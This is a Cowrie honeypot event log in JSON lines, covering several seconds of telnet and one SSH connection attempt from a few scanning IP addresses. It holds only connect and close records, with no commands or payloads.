{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47220,"dst_ip":"10.17.0.5","dst_port":23,"session":"700f1886d240","protocol":"telnet","message":"New connection: 45.10.154.244:47220 (10.17.0.5:23) [session: 700f1886d240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.254571Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59630,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb97e2c745c","protocol":"telnet","message":"New connection: 45.10.154.244:59630 (10.17.0.5:23) [session: 0fb97e2c745c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.299360Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42276,"dst_ip":"159.203.135.109","dst_port":23,"session":"c02fc6eb0281","protocol":"telnet","message":"New connection: 51.161.172.108:42276 (159.203.135.109:23) [session: c02fc6eb0281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.373750Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42326,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82d218e052b","protocol":"telnet","message":"New connection: 51.161.172.108:42326 (159.203.135.109:23) [session: e82d218e052b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.529166Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48602,"dst_ip":"10.17.0.5","dst_port":23,"session":"6762c8c6fd1f","protocol":"telnet","message":"New connection: 45.10.154.244:48602 (10.17.0.5:23) [session: 6762c8c6fd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.554039Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"77946a41e5f4","protocol":"telnet","message":"New connection: 45.10.154.244:48826 (10.17.0.5:23) [session: 77946a41e5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.619656Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47524,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9ad1f568ce3","protocol":"telnet","message":"New connection: 167.99.38.72:47524 (159.203.135.109:23) [session: a9ad1f568ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.742072Z"}
{"eventid":"cowrie.session.closed","duration":31.668460845947266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.755301Z","src_ip":"51.161.172.108","session":"f44739433f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42448,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a460fdfb32","protocol":"telnet","message":"New connection: 51.161.172.108:42448 (159.203.135.109:23) [session: 54a460fdfb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.913271Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b2c8927810","protocol":"telnet","message":"New connection: 45.10.154.244:50088 (10.17.0.5:23) [session: 24b2c8927810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.943693Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cd32a3e1a0","protocol":"telnet","message":"New connection: 51.161.172.108:42462 (159.203.135.109:23) [session: d2cd32a3e1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.129454Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42498,"dst_ip":"159.203.135.109","dst_port":23,"session":"93605f54f840","protocol":"telnet","message":"New connection: 51.161.172.108:42498 (159.203.135.109:23) [session: 93605f54f840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.141063Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42486,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d87dd28c74","protocol":"telnet","message":"New connection: 51.161.172.108:42486 (159.203.135.109:23) [session: 48d87dd28c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.205153Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51184,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b2a1cba351","protocol":"telnet","message":"New connection: 45.10.154.244:51184 (10.17.0.5:23) [session: 98b2a1cba351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.234879Z"}
{"eventid":"cowrie.session.closed","duration":31.296351432800293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.285052Z","src_ip":"51.161.172.108","session":"d8d5613c2cae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697393655776978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.310296Z","src_ip":"51.161.172.108","session":"07fe4c26be51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5592360496521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.368086Z","src_ip":"45.10.154.244","session":"a955ff2986a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913875579833984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.436505Z","src_ip":"51.161.172.108","session":"0cf1956f9b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847469806671143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.675412Z","src_ip":"51.161.172.108","session":"359a9257999d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52966,"dst_ip":"10.17.0.5","dst_port":23,"session":"41da6a6c77c9","protocol":"telnet","message":"New connection: 45.10.154.244:52966 (10.17.0.5:23) [session: 41da6a6c77c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.683271Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42410,"dst_ip":"159.203.135.109","dst_port":23,"session":"624bc530f10d","protocol":"telnet","message":"New connection: 51.161.172.108:42410 (159.203.135.109:23) [session: 624bc530f10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.690596Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42418,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6e9f8ada2f","protocol":"telnet","message":"New connection: 51.161.172.108:42418 (159.203.135.109:23) [session: 9a6e9f8ada2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.717286Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42430,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ab771ebd00","protocol":"telnet","message":"New connection: 51.161.172.108:42430 (159.203.135.109:23) [session: 94ab771ebd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.744091Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a4caecd6172","protocol":"telnet","message":"New connection: 51.161.172.108:42446 (159.203.135.109:23) [session: 7a4caecd6172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.749365Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42394,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff22883dcb9","protocol":"telnet","message":"New connection: 51.161.172.108:42394 (159.203.135.109:23) [session: bff22883dcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.793789Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42556,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a2e62bc925","protocol":"telnet","message":"New connection: 51.161.172.108:42556 (159.203.135.109:23) [session: 75a2e62bc925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.806632Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42432,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c647550e6e2","protocol":"telnet","message":"New connection: 51.161.172.108:42432 (159.203.135.109:23) [session: 8c647550e6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:35.858133Z"}
{"eventid":"cowrie.session.closed","duration":33.000542879104614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.066526Z","src_ip":"51.161.172.108","session":"b7dfdcb8da24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42612,"dst_ip":"159.203.135.109","dst_port":23,"session":"41aa63cebfc5","protocol":"telnet","message":"New connection: 51.161.172.108:42612 (159.203.135.109:23) [session: 41aa63cebfc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.070914Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42638,"dst_ip":"159.203.135.109","dst_port":23,"session":"b238a9cb9e05","protocol":"telnet","message":"New connection: 51.161.172.108:42638 (159.203.135.109:23) [session: b238a9cb9e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.181598Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8179586ac8","protocol":"telnet","message":"New connection: 51.161.172.108:42652 (159.203.135.109:23) [session: ea8179586ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.206621Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42670,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc84b7d8a3b1","protocol":"telnet","message":"New connection: 51.161.172.108:42670 (159.203.135.109:23) [session: dc84b7d8a3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.392746Z"}
{"eventid":"cowrie.session.closed","duration":30.604098081588745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.425204Z","src_ip":"45.10.154.244","session":"b1ce7c4007b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91813039779663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.585268Z","src_ip":"51.161.172.108","session":"70f77417091c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3712033300d3","protocol":"telnet","message":"New connection: 51.161.172.108:42748 (159.203.135.109:23) [session: 3712033300d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.937788Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42576,"dst_ip":"159.203.135.109","dst_port":23,"session":"171f3333e05e","protocol":"telnet","message":"New connection: 51.161.172.108:42576 (159.203.135.109:23) [session: 171f3333e05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:36.953402Z"}
{"eventid":"cowrie.session.closed","duration":31.027493238449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.053600Z","src_ip":"45.10.154.244","session":"c09fb543ca08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795440435409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.059070Z","src_ip":"45.10.154.244","session":"f57e271a49ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42762,"dst_ip":"159.203.135.109","dst_port":23,"session":"85533b49a6d2","protocol":"telnet","message":"New connection: 51.161.172.108:42762 (159.203.135.109:23) [session: 85533b49a6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.079768Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"645681949605","protocol":"telnet","message":"New connection: 51.161.172.108:42778 (159.203.135.109:23) [session: 645681949605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.208282Z"}
{"eventid":"cowrie.session.closed","duration":30.406189441680908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.257499Z","src_ip":"51.161.172.108","session":"7aeacf0b7205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42628,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e6c5222f95","protocol":"telnet","message":"New connection: 51.161.172.108:42628 (159.203.135.109:23) [session: 94e6c5222f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.263635Z"}
{"eventid":"cowrie.session.closed","duration":30.83181619644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.312017Z","src_ip":"51.161.172.108","session":"3cf97ec08794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42666,"dst_ip":"159.203.135.109","dst_port":23,"session":"8438d15bcd00","protocol":"telnet","message":"New connection: 51.161.172.108:42666 (159.203.135.109:23) [session: 8438d15bcd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.398414Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad82c84d4d4","protocol":"telnet","message":"New connection: 45.10.154.244:60108 (10.17.0.5:23) [session: cad82c84d4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.530473Z"}
{"eventid":"cowrie.session.closed","duration":32.447036027908325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.539067Z","src_ip":"51.161.172.108","session":"c728ebb8c24a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53220248222351,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.544561Z","src_ip":"51.161.172.108","session":"2292e8558104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42698,"dst_ip":"159.203.135.109","dst_port":23,"session":"d029b4ce914f","protocol":"telnet","message":"New connection: 51.161.172.108:42698 (159.203.135.109:23) [session: d029b4ce914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.578489Z"}
{"eventid":"cowrie.session.closed","duration":31.7842276096344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.583764Z","src_ip":"51.161.172.108","session":"684f08a0220a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42810,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf221cbb4bf","protocol":"telnet","message":"New connection: 51.161.172.108:42810 (159.203.135.109:23) [session: 1cf221cbb4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.633538Z"}
{"eventid":"cowrie.session.closed","duration":30.840179920196533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.659405Z","src_ip":"51.161.172.108","session":"3630b87e9c8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50895667076111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.722467Z","src_ip":"51.161.172.108","session":"962afe8dac02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42818,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f374bc68391","protocol":"telnet","message":"New connection: 51.161.172.108:42818 (159.203.135.109:23) [session: 8f374bc68391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.728015Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"29c19192ed7b","protocol":"telnet","message":"New connection: 51.161.172.108:42844 (159.203.135.109:23) [session: 29c19192ed7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:37.968787Z"}
{"eventid":"cowrie.session.closed","duration":30.94567084312439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.149855Z","src_ip":"45.10.154.244","session":"2ccd962da958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04567241668701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.155823Z","src_ip":"45.10.154.244","session":"5fe700dbb59d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42942,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d3675a9263d","protocol":"telnet","message":"New connection: 51.161.172.108:42942 (159.203.135.109:23) [session: 5d3675a9263d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.276798Z"}
{"eventid":"cowrie.session.closed","duration":30.652994632720947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.369125Z","src_ip":"51.161.172.108","session":"416c43b8b206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74750804901123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.402852Z","src_ip":"51.161.172.108","session":"339c44778166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad73734dbeaf","protocol":"ssh","message":"New connection: 122.168.114.167:44864 (159.203.135.109:22) [session: ad73734dbeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.481621Z"}
{"eventid":"cowrie.session.closed","duration":34.78846311569214,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.686650Z","src_ip":"167.99.38.72","session":"39aa611c914e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479063987731934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.692241Z","src_ip":"51.161.172.108","session":"9d574191cad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106070041656494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.710822Z","src_ip":"51.161.172.108","session":"fbf8b59e16bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":49414,"dst_ip":"159.203.135.109","dst_port":23,"session":"666f8ffa577e","protocol":"telnet","message":"New connection: 167.99.38.72:49414 (159.203.135.109:23) [session: 666f8ffa577e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.732091Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f38b0489f15","protocol":"telnet","message":"New connection: 51.161.172.108:43040 (159.203.135.109:23) [session: 9f38b0489f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.959128Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43058,"dst_ip":"159.203.135.109","dst_port":23,"session":"74e4679b30b3","protocol":"telnet","message":"New connection: 51.161.172.108:43058 (159.203.135.109:23) [session: 74e4679b30b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:38.997038Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43050,"dst_ip":"159.203.135.109","dst_port":23,"session":"aade440146c7","protocol":"telnet","message":"New connection: 51.161.172.108:43050 (159.203.135.109:23) [session: aade440146c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.089697Z"}
{"eventid":"cowrie.session.closed","duration":35.29072141647339,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.372401Z","src_ip":"167.99.38.72","session":"200c3eda30b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.493486881256104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.377295Z","src_ip":"51.161.172.108","session":"e400a5617bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12419295310974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.556275Z","src_ip":"51.161.172.108","session":"4fa247add470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4d9ccc3072","protocol":"telnet","message":"New connection: 51.161.172.108:45048 (159.203.135.109:23) [session: 9c4d9ccc3072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.578991Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43000,"dst_ip":"159.203.135.109","dst_port":23,"session":"e974952d1468","protocol":"telnet","message":"New connection: 51.161.172.108:43000 (159.203.135.109:23) [session: e974952d1468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.590910Z"}
{"eventid":"cowrie.session.closed","duration":31.146406412124634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.619714Z","src_ip":"51.161.172.108","session":"e5973f8de59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43010,"dst_ip":"159.203.135.109","dst_port":23,"session":"f42daa4ae58c","protocol":"telnet","message":"New connection: 51.161.172.108:43010 (159.203.135.109:23) [session: f42daa4ae58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.690425Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43018,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e81b4afb20","protocol":"telnet","message":"New connection: 51.161.172.108:43018 (159.203.135.109:23) [session: 56e81b4afb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:39.878185Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45082,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbb4b18a1751","protocol":"telnet","message":"New connection: 51.161.172.108:45082 (159.203.135.109:23) [session: fbb4b18a1751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.069589Z"}
{"eventid":"cowrie.session.closed","duration":31.46509838104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.075526Z","src_ip":"51.161.172.108","session":"d8e14834f1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45104,"dst_ip":"159.203.135.109","dst_port":23,"session":"95404b200ac1","protocol":"telnet","message":"New connection: 51.161.172.108:45104 (159.203.135.109:23) [session: 95404b200ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.114733Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42338,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ce91219bd9","protocol":"telnet","message":"New connection: 45.10.154.244:42338 (10.17.0.5:23) [session: a6ce91219bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.257390Z"}
